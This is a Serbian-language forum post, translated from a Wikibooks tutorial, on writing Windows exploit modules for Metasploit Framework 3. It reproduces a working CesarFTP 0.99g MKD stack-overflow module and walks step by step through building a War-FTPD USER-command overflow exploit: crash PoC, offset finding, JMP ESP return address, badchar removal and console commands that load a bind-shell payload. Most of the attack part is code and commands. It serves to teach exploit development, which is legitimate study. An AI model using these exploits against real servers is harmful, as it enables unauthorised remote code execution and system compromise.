[ m1k1 @ 09.07.2007. 20:07 ] @
Sadržaj


1 Ukratko
2 Pregled
3 Potrebno za korišćenje
4 Početak
4.1 Editovanje exploit modula
4.2 Pisanje exploit modula
4.2.1 Meta
4.2.2 The vulnerability
4.2.3 The PoC
4.2.3.1 Debugging
4.2.4 Fino podešavanje
4.2.4.1 Pronalaženje mesta za shellcode
4.2.4.2 Pronalaženje return adrese
4.2.4.3 Obračunavanje sa badchars :)
5 Reference

Pre svega
Pre nego što počnem, želim da naglasim nekoliko stvari. Prvo, ovaj teks je prevod teksta (uz male izmene i dodatke) koji je objavljen na wikipedia sajtu. http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit ,drugo milslim da nije imalo smisla prevoditi neke izraze sa engleskog na srpski tako da su pojedini ostali na engleskom jeziku. Treće pre nego što sam počeo da prevodim ovaj tekst počeo sam da pišem svoj ali kada je orginalni tekst objavljen rešio sam radi uštede vremena da ga prevedem i dodam nešto svoje.
Ukratko
Ovaj tekst je napisan da objasni kako da napišete Windows Exploit za Metasploit Framework v3.x.
Ovaj tekst ne objašnjava kako da pronađete slabe tačke. (Za to potražite Fuzzing)
Pregled
Metasploit Framework nam pomaže da napišemo jednostavan, pouzdan i efikasan exploit.
Metasploit Framework 3 je napisan u Ruby-u. Tako da i exploite pišemo u istom.


Potrebno za korišćenje
Znanje
Poznavanje Mestaploit Framework na korisničkom nivou.
Osnove programiranja (Poznavanje u Ruby-u je prednost)
Poznavanje windows memory management (Heap, Stack, Registers)

Material
The Metasploit Framework installed and working
Metasploit Framework
Windows
Debugger (OllyDbg ili WinDbg)
Text editor

Početak
U Metasploit Framework, exploit se naziva “exploit module”.

Exploit modules su locirani po default-u u:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\

Exploit modules su klasifikovani prema operativnom sistemu a dalje prema tipu exploita.


Editovanje exploit modula

Zanimljivo je da se autor orginalnog teksta odlučio da edituje isti exploit kao i ja. Ovo je prvi exploit za metasploit koji sam editovao. Ali pre nego što sam to počeo, pisao sam svoj exploit u python-u a shellcode sam preuzeo iz metasploita. Pošto sam hteo da kombinujem sa raznim shellcode-ovima odlučio sam da koristim metasploit framework. Exploit za aplikaciju je već postojao sve što je trebalo da uradim je bilo da unesem još jedan target(Windows XP SP1)u exploit. Sve je išlo dobro koristio sam mnoge shellcode-ove. Probajte ovo sami da odradite bez daljeg čitanja teksta.
Da krenemo
Dobar način da naučimo kako se piše exploit jeste da prvo editujemo jedan.

Editovaćemo sledeći exploit module:
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\cesarftp_mkd.rb

Smanjio sam font u kojem je napisan kod radi preglednosti.
#Komentari autora su u crvenoj boji.
##
# $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##


#Komentovanje linije počinju sa #

require 'msf/core' #We will always need the core library
#Uvek će nam trebati core biblioteka

module Msf #Ova linija koda bi uvek trebala da bude prisutna

class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote
#Ime klase (Exploits::Windows::Ftp::Cesarftp_Mkd) govori gde se nalazi exploit module
# a to je (*\exploits\windows\ftp\cesarftp_mkd.rb) filename exploita (cesarftp_mkd.rb)
# bi trebalo da bude isto kao i ime u ovoj klasi (Cesarftp_Mkd)



include Exploit::Remote::Ftp #We use MSF's built-in Ftp functions
#Koristićemo MSF ugrađene FTP funkcije

def initialize(info = {})
super(update_info(info,
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
#Detaljno ime exploita (prikazuje se u konzoli)
'Description' => %q{
This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
#Kraći opis exploita i buga koji iskorišćava
},
'Author' => 'MC', #Alias autora
'License' => MSF_LICENSE, #Tip licence
#Metasploit framework 3 koristi svoju licencu, autori nisu želeli da koriste GPLv2 da nebi kasnije neko mogao
# iskoristiti njihov kod i napravi novi proizvod koji bi naplatio ili bio zatvorenog koda.
'Version' => '$Revision: 4419 $', #Broj verzije modula
'References' => #Različiti sajtovi o bagu.
[
[ 'BID', '18586'],
[ 'CVE', '2006-2961'],
[ 'URL', 'http://secunia.com/advisories/20574/' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 250, #Maksimalan prostor memorije za smeštanje shellcode-a(payload-a)
'BadChars' => "\x00\x20\x0a\x0d", #Lista zabranjenih karaktera u shellcode-u
'StackAdjustment' => -3500,
},
'Platform' => 'win', #Tip ciljane platforme(OS)
'Targets' =>
#Lista targeta i return adrese
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ],
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
],
'DisclosureDate' => 'Jun 12 2006', #Datum objave bug-a
'DefaultTarget' => 0
#Default target (u ovom slučaju: Windows 2000 Pro SP4 English)
)
)
end

def check #Funkcija koja proverava dali je server ranljiv na ovu slabu tačku
connect
disconnect

if (banner =~ /CesarFTP 0\.99g/) #Proverava se banner na serveru ako je odgovor:
return Exploit::CheckCode::Vulnerable #Server je ranljiv
end
return Exploit::CheckCode::Safe #Server nije ranljiv
end

def exploit #Ovde počinje exploit
connect_login #Koristimo MSF FTP login funkciju

sploit = "\n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding, umetanje shellcode-a
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
#Return adresa + nops + payload

print_status("Trying target #{target.name}...")

send_cmd( ['MKD', sploit] , false) #Šaljemo exploit kod našoj meti.

Handler
disconnect #Ovde zatvaramo konekciju.
end

end
end

Pisanje exploit modula

Meta
Da bi smo razumeli kako da napišemo exploit za Mestaploit Framework 3, napisaćemo exploit za WARFTPD 1.5 koji je prilično lak za exploitovanje.
(Exploit modul za ovaj bug već postoji u Metasploit Framework 3, ali mi ćemo pokušati da napišemo naš exploit.)
Pre nego što počnemo potrebno je skinuti i instalirati WARFTPD na Windows 2000 SP4 mašinu.
Zatim startujemo WARFTPD Daemon.
Isključimo opciju "No anonymous logins".
I startujemo FTP Server klikom na "Go Online/Offline" dugme.



Ok, server radi i čeka nas...
The vulnerability
Prva stvar koju treba uraditi je pronalaženje informacija vezanih za bug našeg programa. Postoji mnogo lokacija na kojima su postavljene te informacije.
Evo jednog primera: http://osvdb.org/displayvuln.php?osvdb_id=875&print

Možemo videti da do bug-a dolazi kada pošaljemo specijalno sastavljenu USER komandu. To znači da umesto normalnog username-a pošaljemo set karaktera koji su u stanju da zbune program. Često veoma dugačak string(set karaktera) će aktvirati ovaj bug, hajde da proverimo to.
The PoC (Proof of Concept) – Dokaz koncepta

Prvo treba da razradimo bug. Da bi smo to uradili napisaćemo exploit modul za Metasploit Framework 3. Napravićemo fajl :
C:\Program Files\Metasploit\Framework3\home\framework\modules\exploits\windows\ftp\warftpd.rb

Autor orginalnog teksta piše da treba prekopirati tekst koji sledi u fajl warftpd.rb
Moj predlog je da prepišete kod liniju po linuji radi boljeg razumevanja koda.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote #The names of the exploit module and the class are 'equal'

include Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'War-FTPD 1.65 Username Overflow',
'Description' => %q{
This module exploits a buffer overflow found in the USER command
of War-FTPD 1.65.
}, #End of Description
'Author' => 'Your Name', #Vaš Alias
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'URL', 'http://osvdb.org/displayvuln.php?osvdb_id=875&print' ]
#The URL mentioned above
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00"

},
'Targets' =>
[
# Target 0
[
'Our Windows Target',
#Prepravite ovu liniju sa metom (nrp: Windows 2000 SP4)
{
'Platform' => 'win', #Meta je Windows
'Ret' => 0x01020304

}
]
]
) #End of update_info()
) #End of super()
end #End of initialize

def exploit
connect

print_status("Trying target #{target.name}...")

exploit = 'A' * 1000 #Ovo je trenutno za nas najbitniji deo koda, šaljemo string od 1000"A"
# Nadamo se da će ovaj string oboriti WarFTPD
send_cmd( ['USER', exploit] , false ) #Šaljemo komandu USER i naš zlonameran kod

handler
disconnect
end #End of exploit

end #End of class
end #End of module

WarFTPD server sluša na default poru 21 tcp.
Pokrenemo Metasploit3 konzolu.


Sada možemo da vidimo naš exploit koristeći komandu:
show exploits


We now launch our exploit using these commands:
Podesimo parametre i pokrenemo exploit:
use windows/ftp/warftpd #biramo naš expliot
set RHOST 127.0.0.1 #unosimo ip adresu mete
set TARGET 0 #meta nebitno u ovom slučaju
set PAYLOAD generic/shell_bind_tcp #biramo payload za naš exploit
exploit #komanda koja izvršava exploit




Nakon nekoliko sekundi vidimo da je WarFTPD oboren. To znači da je string od 1000 A uspeo da iskoristi bug.


Debugging
Da bi smo videli šta se dešava sa serverom kada je oboren koristićemo debugger.
Ponovo ćemo pokrenuti WarFTPD i prikačiti ga u debugeru.
Pokrenemo OllyBdg
File/Attach
Nađemo u listi war-ftpd
Attach
zatim Play ili F9 da bi pokrenuli program.



Pokrenemo naš exploit iz metasploita ponovo.
I onda pratimo debuger.



U dnu prozora vidimo access violation when executing [41414141]
EIP je prepisan sa delom našeg stringa od 1000A (41414141 je heksadecimali zapis koji znači AAAA)




Fino podešavanje
Pronalaženje mesta za shellcode
Sledeća stvar koju moramo da uradimo jeste da pronađemo mesto za shellcode (payload), konkretno treba da utvrdimo koja su to četiri bajta (AAAA) od 1000 koja su prepisala EIP. Metasploit sadrži alate koji nam mogu pomoći u tome. Koristićemo pattern_create.rb funkciju da generišemo alfa-numerički string neponovljivih karaktera. Funkcija se nalazi u:
C:\Program Files\Metasploit\Framework3\framework\tools\pattern_create.rb
Uđemo u command prompt i kucamo:
C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]

Pošto nama treba set od 1000 karaktera kucamo:
...\Metasploit\Framework3\framework\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

Vratimo se u naš PoC exploit module i izmenimo liniju:
exploit = 'A' * 1000

sa:
exploit = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

Snimimo editovani fajl. Startujemo ponovo War-FTPD FTP server, pokrenemo OllyDbg attachujemo war-ftpd i kliknemo play dugme. Zatim ponovo pokrenemo metasploit, unesemo parametre i pokrenemo exploit...
Nakon toga pogledamo debuger i uočavamo da je EIP umesto sa četiri A sada prepisan sa jedisntvenim setom karaktera.


Taj set karaktera je "32714131"
Da bi smo utvrdili koliko je karaktera poslato pre nego što je pogođen EIP koristimo još jedan alat iz kolekcije Metasploit Framework 3 pattern_offset.rb

C:\Program Files\Metasploit\Framework3\framework\tools\pattern_offset.rb
Iz command prompt-a kucamo:
C:\Program Files\Metasploit\Framework3\framework\tools>ruby pattern_offset.rb
Usage: pattern_offset.rb <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically

Kada smo videli kako se koristi ukucamo sledeće parametre:
...\Metasploit\Framework3\framework\tools>ruby pattern_offset.rb 32714131 1000

Rezultat koji dobijamo je 485, to znači da imamo 485 bajtova za naš payload.

Tu vrednost unesemo u naš exploit modul.
Zamenimo linuju:
'Space' => 1000,
sa:

'Space' => 485,
Na ovaj način, kada učitamo naš exploit modul u Metasploit Framework sa komadom use ime_exploita on će automacki pretražiti i omogućiti postojeće payload-e koji imaju veličinu manju od 485 bajtova. Te payload-e možemo videti sa komandom show PAYLOADS

Pronalaženje return adrese
Sada trebamo da nađemo pouzdanu return adresu. Najbolji način da to uradimo je da nađemo return adresu direktno na našoj meti.

Privi način je da koristimo OllyDbg kliknemo na E izaberemo jedan od ključnih modula kao što je USER32.dll zatim koristimo komandu Search command i ukucamo JMP ESP i dobili smo 77E2492B to je naša return adresa.


Drugi način je da koristimo msfpescan alat sadržan u Metasploit Framework.

$ ./framework/msfpescan
Usage: ./framework/msfpescan [mode] <options> [targets]

Modes:
-j, --jump [regA,regB,regC] Search for jump equivalent instructions
-p, --poppopret Search for pop+pop+ret combinations
-r, --regex [regex] Search for regex match
-a, --analyze-address [address] Display the code at the specified address
-b, --analyze-offset [offset] Display the code at the specified offset
-f, --fingerprint Attempt to identify the packer/compiler

Options:
-M, --memdump The targets are memdump.exe directories
-A, --after [bytes] Number of bytes to show after match (-a/-b)

-B, --before [bytes] Number of bytes to show before match (-a/-b
)
-I, --image-base [address] Specify an alternate ImageBase
-h, --help Show this message

Još jedan način je da koristimo MSF Opcodes bazu podataka: ttp://metasploit.com/users/opcode/msfopcode.cgi
Potrebno je napomenuti da Metasploit Framework sadrži klijent alatku za pretraživanje gore pomenute baze: ttp://www.metasploit.com/projects/Framework/msf3/msfopcode.html

eereap je još jedna alatka koju možemo koristiti:
http://research.eeye.com/html/tools/RT20060801-2.html

Ovde možemo naći internacionalne return adrese:
https://www.securinfos.info/international-opcodes/index.php

Obračunavanje sa badchars
Sledeća stvar koju trebamo da uradimo jeste da nađemo i sprečimo korišćenje badchars. Nikad nebismo trebali da imamo null karaktere u našem shellcode-u to bi moglo da prekine izvršavanje exploita. Ovo je već urađeno u našem exploitu, pronađite liniju gde stoji:

'BadChars' => "\x00"

Aplikacija na koju smo se okomili često će pokušati da modifikuje primljene podatke pre nego što ih upotrebi. Na primer aplikacija će probati da promeni sve karaktere u velika slova(uppercase). Pošto će to modifikovati naš shellcode, moramo da se obračunamo sa time. Dakle Metasploit Framework će enkodirati naš shellcode tako da dobijemo isti shellcode ali bez badchars. Sve što mi treba da uradimo jeste da unesemo badchars u liniji našeg exploita.
Dakle da našli te badchars, poslaćemo našoj meti string koji sadrži karaktere iz ASCII tabele.

String bi trebao da izgleda ovako:

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Editujemo naš exploit kod sa ovim stringom. Ponovo pokrenemo aplikaciju i prikačimo je u debugeru, zatim ponovo pokrenemo exploit. U deduger-u nakon što je se aktivirao access violation, kliknemo desni klikom na ESP registar i izaberemo opciju follow in dump sada gledamo naš string i tražimo karaktere koji nedostaju, kada ga nađete zabeležite ga to je naš prvi badchar. Unese mo taj bedchar u naš exploit i probamo opet, ovu proceduru ponavljamo sve dok svi karakteri koje smo poslali budu u beduger-u. Sve badchars koje smo našli unesemo u naš exploit module.

Reference

Besplatni debuger-i za windows:
http://www.ollydbg.de/
http://www.microsoft.com/whdc/devtools/debugging/default.mspx
WarFTPD v1.5 link: https://www.securinfos.info/ol...erable_USER_BufferOverflow.exe
http://www.milw0rm.com/papers/142

Metasploit Framework v3.0 Dokumentacija za developere:
http://Metasploit.com/projects/Framework/msf3/

Tutorial za explpoit modul:
http://Metasploit.com/projects...mentation.html#exploitTutorial

Vinnie Liu - Writing Exploits III:
http://www.syngress.com/book_catalog/327_SSPC/sample.pdf

http://www.securityforest.com/...ory:Buffer_Overflows_Education
https://www.securinfos.info/en...papers-hacking-whitepapers.php

pdf veriju možete preuzeti sa m1k1.blogspot.com